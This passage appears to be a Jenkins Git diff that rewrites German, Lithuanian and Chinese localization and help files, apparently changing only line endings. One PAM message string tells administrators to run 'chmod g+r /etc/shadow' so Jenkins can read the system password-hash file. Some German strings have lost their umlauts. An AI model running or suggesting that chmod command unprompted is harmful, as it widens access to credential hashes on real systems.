b/core/src/main/resources/hudson/model/ProxyView/newViewDetail_de.properties @@ -1,24 +1,24 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Shows\ the\ content\ of\ a\ global\ view.=\ +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Shows\ the\ content\ of\ a\ global\ view.=\ Zeigt den Inhalt einer globalen Ansicht. \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/User/delete_de.properties b/core/src/main/resources/hudson/model/User/delete_de.properties index 65cf14106f..2adbdfd815 100644 --- a/core/src/main/resources/hudson/model/User/delete_de.properties +++ b/core/src/main/resources/hudson/model/User/delete_de.properties @@ -1,25 +1,25 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Are\ you\ sure\ about\ deleting\ the\ user\ from\ Jenkins?=\ - Mchten Sie den Benutzer wirklich lschen? -Yes=Ja +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Are\ you\ sure\ about\ deleting\ the\ user\ from\ Jenkins?=\ + Mchten Sie den Benutzer wirklich lschen? +Yes=Ja diff --git a/core/src/main/resources/hudson/model/View/delete_lt.properties b/core/src/main/resources/hudson/model/View/delete_lt.properties index a4a03c7bef..9ac81dd69a 100644 --- a/core/src/main/resources/hudson/model/View/delete_lt.properties +++ b/core/src/main/resources/hudson/model/View/delete_lt.properties @@ -1,4 +1,4 @@ -# /jenkins-core/src/main/resources/hudson/model/View/delete_lt.properties - -Are\ you\ sure\ about\ deleting\ the\ view?=Ar tikrai norite i\u0161trinti \u0161i\u0105 skilt\u012F? -Yes=Taip +# /jenkins-core/src/main/resources/hudson/model/View/delete_lt.properties + +Are\ you\ sure\ about\ deleting\ the\ view?=Ar tikrai norite i\u0161trinti \u0161i\u0105 skilt\u012F? +Yes=Taip diff --git a/core/src/main/resources/hudson/model/View/sidepanel_lt.properties b/core/src/main/resources/hudson/model/View/sidepanel_lt.properties index b2a588be6f..e4ed86f9dc 100644 --- a/core/src/main/resources/hudson/model/View/sidepanel_lt.properties +++ b/core/src/main/resources/hudson/model/View/sidepanel_lt.properties @@ -1,9 +1,9 @@ -# /jenkins-core/src/main/resources/hudson/model/View/sidepanel_lt.properties - -Build\ History=U\u017Eduo\u010Di\u0173 istorija -Check\ File\ Fingerprint=Tikrinti failo antspaud\u0105 -Delete\ View=I\u0161trinti skilt\u012F -Edit\ View=Redaguoti skilt\u012F -NewJob=Naujas {0} -People=\u017Dmon\u0117s -Project\ Relationship=Projekto S\u0105ry\u0161iai +# /jenkins-core/src/main/resources/hudson/model/View/sidepanel_lt.properties + +Build\ History=U\u017Eduo\u010Di\u0173 istorija +Check\ File\ Fingerprint=Tikrinti failo antspaud\u0105 +Delete\ View=I\u0161trinti skilt\u012F +Edit\ View=Redaguoti skilt\u012F +NewJob=Naujas {0} +People=\u017Dmon\u0117s +Project\ Relationship=Projekto S\u0105ry\u0161iai diff --git a/core/src/main/resources/hudson/model/queue/Messages_de.properties b/core/src/main/resources/hudson/model/queue/Messages_de.properties index 0225d821ab..5eeedc6b3e 100644 --- a/core/src/main/resources/hudson/model/queue/Messages_de.properties +++ b/core/src/main/resources/hudson/model/queue/Messages_de.properties @@ -1,23 +1,23 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + QueueSorter.installDefaultQueueSorter=Installiere Default-Sortierung der Build-Warteschlage (build queue) \ No newline at end of file diff --git a/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_de.properties b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_de.properties index 48606462b2..753ce023dd 100644 --- a/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_de.properties +++ b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_de.properties @@ -1,23 +1,23 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + Free\ Space\ Threshold=Freier Plattenplatz Mindestgrenze \ No newline at end of file diff --git a/core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_de.properties b/core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_de.properties index bf651a59d8..c001d0bf65 100644 --- a/core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_de.properties +++ b/core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_de.properties @@ -1,23 +1,23 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -Ping\ response\ time\ is\ too\ long\ or\ timed\ out.=\ +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Ping\ response\ time\ is\ too\ long\ or\ timed\ out.=\ Ping-Anwortzeit zu gro bzw. Time-out aufgetreten. \ No newline at end of file diff --git a/core/src/main/resources/hudson/search/Search/search-failed_de.properties b/core/src/main/resources/hudson/search/Search/search-failed_de.properties index 04a859cfaa..5e617081e6 100644 --- a/core/src/main/resources/hudson/search/Search/search-failed_de.properties +++ b/core/src/main/resources/hudson/search/Search/search-failed_de.properties @@ -1,24 +1,24 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Nothing\ seems\ to\ match.=Keine Treffer gefunden. +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Nothing\ seems\ to\ match.=Keine Treffer gefunden. Search\ for=Suche nach \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/AuthorizationStrategy/Unsecured/help_zh_CN.html b/core/src/main/resources/hudson/security/AuthorizationStrategy/Unsecured/help_zh_CN.html index 764b333cb1..c505cde8bd 100644 --- a/core/src/main/resources/hudson/security/AuthorizationStrategy/Unsecured/help_zh_CN.html +++ b/core/src/main/resources/hudson/security/AuthorizationStrategy/Unsecured/help_zh_CN.html @@ -1,7 +1,7 @@ -
                    - 不执行任何授权,任何人都能完全控制Jenkins,这包括没有登录的匿名用户. - -

                    - 这种情况对于可信任的环境(比如公司内网)非常有用,或者你只是使用授权做一些个性化的支持.这样的话,如果某人想快速的更改Jenkins,他就能够避免被强制登录. - +

                    + 不执行任何授权,任何人都能完全控制Jenkins,这包括没有登录的匿名用户. + +

                    + 这种情况对于可信任的环境(比如公司内网)非常有用,或者你只是使用授权做一些个性化的支持.这样的话,如果某人想快速的更改Jenkins,他就能够避免被强制登录. +

                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/help_zh_CN.html b/core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/help_zh_CN.html index 454c73eb12..5be288ecc6 100644 --- a/core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/help_zh_CN.html +++ b/core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/help_zh_CN.html @@ -1,6 +1,6 @@ -
                    - 这种授权模式下,每个登录用户都持有对Jenkins的全部控制权限.只有匿名用户没有全部控制权,匿名用户只有查看权限. - -

                    - 这种授权模式的好处是强制用户登录后才能执行操作,这样你可以随时记录谁都做了什么操作.这种设置也适用于公共使用的Jenkins,只有你信任的人才拥有账户. +

                    + 这种授权模式下,每个登录用户都持有对Jenkins的全部控制权限.只有匿名用户没有全部控制权,匿名用户只有查看权限. + +

                    + 这种授权模式的好处是强制用户登录后才能执行操作,这样你可以随时记录谁都做了什么操作.这种设置也适用于公共使用的Jenkins,只有你信任的人才拥有账户.

                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help_zh_CN.html b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help_zh_CN.html index 5967d98f9a..754a47f59c 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help_zh_CN.html +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help_zh_CN.html @@ -1,5 +1,5 @@ -
                    - 使用Hudson自己的用户列表验证, - 而不是外部系统代理. - 这适用于没有用户数据库小范围的设定. +
                    + 使用Hudson自己的用户列表验证, + 而不是外部系统代理. + 这适用于没有用户数据库小范围的设定.
                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/LegacyAuthorizationStrategy/help_zh_CN.html b/core/src/main/resources/hudson/security/LegacyAuthorizationStrategy/help_zh_CN.html index 368bdbd2f1..6b6133460e 100644 --- a/core/src/main/resources/hudson/security/LegacyAuthorizationStrategy/help_zh_CN.html +++ b/core/src/main/resources/hudson/security/LegacyAuthorizationStrategy/help_zh_CN.html @@ -1,4 +1,4 @@ -
                    - 适用于Jenkins1.164以前的版本.也就是说,如果你是"admin"角色,那么你将拥有Jenkins的一切控制权,其它角色(包括匿名用户) - 只有查看权限. +
                    + 适用于Jenkins1.164以前的版本.也就是说,如果你是"admin"角色,那么你将拥有Jenkins的一切控制权,其它角色(包括匿名用户) + 只有查看权限.
                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/LegacySecurityRealm/help_zh_CN.html b/core/src/main/resources/hudson/security/LegacySecurityRealm/help_zh_CN.html index eac120de56..666444d94b 100644 --- a/core/src/main/resources/hudson/security/LegacySecurityRealm/help_zh_CN.html +++ b/core/src/main/resources/hudson/security/LegacySecurityRealm/help_zh_CN.html @@ -1,13 +1,13 @@ -
                    - 使用Servlet容器认证用户,遵循Servlet规范. - 这是Jenkins1.163版本遗留的历史.这主要对下列情况非常有用: - -
                      -
                    1. - 你使用1.164之前版本的Jenkins并且愿意继续使用. -
                    2. -
                    3. - 你已经在你的容器上配置了很好的安全域,并且宁愿Jenkins继续使用它.(有些容器提供更好的文档或者能够定制实现用户的安全域) -
                    4. -
                    +
                    + 使用Servlet容器认证用户,遵循Servlet规范. + 这是Jenkins1.163版本遗留的历史.这主要对下列情况非常有用: + +
                      +
                    1. + 你使用1.164之前版本的Jenkins并且愿意继续使用. +
                    2. +
                    3. + 你已经在你的容器上配置了很好的安全域,并且宁愿Jenkins继续使用它.(有些容器提供更好的文档或者能够定制实现用户的安全域) +
                    4. +
                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/Messages_zh_CN.properties b/core/src/main/resources/hudson/security/Messages_zh_CN.properties index a69de52c6a..aeedb5f01c 100644 --- a/core/src/main/resources/hudson/security/Messages_zh_CN.properties +++ b/core/src/main/resources/hudson/security/Messages_zh_CN.properties @@ -1,59 +1,59 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Eric Lefevre-Ardant, Seiji Sogabe -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -LegacyAuthorizationStrategy.DisplayName=\u9057\u7559\u6a21\u5f0f - -HudsonPrivateSecurityRealm.DisplayName=Jenkins\u4e13\u6709\u7528\u6237\u6570\u636e\u5e93 -HudsonPrivateSecurityRealm.Details.DisplayName=\u5bc6\u7801 -HudsonPrivateSecurityRealm.Details.PasswordError=\ - \u786e\u8ba4\u5bc6\u7801\u4e0e\u7b2c\u4e00\u6b21\u8f93\u5165\u7684\u4e0d\u4e00\u81f4. \ - \u8bf7\u786e\u8ba4\u4e24\u6b21\u5bc6\u7801\u8f93\u5165\u76f8\u540c. -HudsonPrivateSecurityRealm.ManageUserLinks.DisplayName=\u7ba1\u7406\u7528\u6237 -HudsonPrivateSecurityRealm.ManageUserLinks.Description=\u521b\u5efa/\u5220\u9664/\u4fee\u6539Jenkins\u7528\u6237 - -FullControlOnceLoggedInAuthorizationStrategy.DisplayName=\u767b\u5f55\u7528\u6237\u53ef\u4ee5\u505a\u4efb\u4f55\u4e8b - -AuthorizationStrategy.DisplayName=\u4efb\u4f55\u7528\u6237\u53ef\u4ee5\u505a\u4efb\u4f55\u4e8b(\u6ca1\u6709\u4efb\u4f55\u9650\u5236) - -LDAPSecurityRealm.DisplayName=LDAP -LDAPSecurityRealm.SyntaxOfServerField=Syntax of server field is SERVER or SERVER:PORT or ldaps://SERVER[:PORT] -LDAPSecurityRealm.UnknownHost=Unknown host: {0} -LDAPSecurityRealm.UnableToConnect=Unable to connect to {0} : {1} -LDAPSecurityRealm.InvalidPortNumber=Invalid port number - -LegacySecurityRealm.Displayname=Servlet\u5bb9\u5668\u4ee3\u7406 - -UserDetailsServiceProxy.UnableToQuery=\u6ca1\u6709\u68c0\u7d22\u5230\u8fd9\u4e2a\u7528\u6237\u4fe1\u606f: {0} - -PAMSecurityRealm.DisplayName=Unix\u7528\u6237/\u7ec4\u6570\u636e\u5e93 -PAMSecurityRealm.ReadPermission=Jenkins\u9700\u8981\u6709/etc/shadow\u8bfb\u7684\u6743\u9650 -PAMSecurityRealm.BelongToGroup={0}\u5fc5\u987b\u5c5e\u4e8e{1}\u7ec4\u6765\u8bfb\u53d6/etc/shadow -PAMSecurityRealm.RunAsUserOrBelongToGroupAndChmod=\ - Either Jenkins needs to run as {0} or {1} needs to belong to group {2} and ''chmod g+r /etc/shadow'' needs to be done to enable Jenkins to read /etc/shadow -PAMSecurityRealm.Success=\u6210\u529f -PAMSecurityRealm.User=\u7528\u6237 ''{0}'' -PAMSecurityRealm.CurrentUser=\u5f53\u524d\u7528\u6237 -PAMSecurityRealm.Uid=uid: {0} - -# not in use -Permission.Permissions.Title=N/A -AccessDeniedException2.MissingPermission={0}\u6ca1\u6709{1}\u6743\u9650 +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Eric Lefevre-Ardant, Seiji Sogabe +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +LegacyAuthorizationStrategy.DisplayName=\u9057\u7559\u6a21\u5f0f + +HudsonPrivateSecurityRealm.DisplayName=Jenkins\u4e13\u6709\u7528\u6237\u6570\u636e\u5e93 +HudsonPrivateSecurityRealm.Details.DisplayName=\u5bc6\u7801 +HudsonPrivateSecurityRealm.Details.PasswordError=\ + \u786e\u8ba4\u5bc6\u7801\u4e0e\u7b2c\u4e00\u6b21\u8f93\u5165\u7684\u4e0d\u4e00\u81f4. \ + \u8bf7\u786e\u8ba4\u4e24\u6b21\u5bc6\u7801\u8f93\u5165\u76f8\u540c. +HudsonPrivateSecurityRealm.ManageUserLinks.DisplayName=\u7ba1\u7406\u7528\u6237 +HudsonPrivateSecurityRealm.ManageUserLinks.Description=\u521b\u5efa/\u5220\u9664/\u4fee\u6539Jenkins\u7528\u6237 + +FullControlOnceLoggedInAuthorizationStrategy.DisplayName=\u767b\u5f55\u7528\u6237\u53ef\u4ee5\u505a\u4efb\u4f55\u4e8b + +AuthorizationStrategy.DisplayName=\u4efb\u4f55\u7528\u6237\u53ef\u4ee5\u505a\u4efb\u4f55\u4e8b(\u6ca1\u6709\u4efb\u4f55\u9650\u5236) + +LDAPSecurityRealm.DisplayName=LDAP +LDAPSecurityRealm.SyntaxOfServerField=Syntax of server field is SERVER or SERVER:PORT or ldaps://SERVER[:PORT] +LDAPSecurityRealm.UnknownHost=Unknown host: {0} +LDAPSecurityRealm.UnableToConnect=Unable to connect to {0} : {1} +LDAPSecurityRealm.InvalidPortNumber=Invalid port number + +LegacySecurityRealm.Displayname=Servlet\u5bb9\u5668\u4ee3\u7406 + 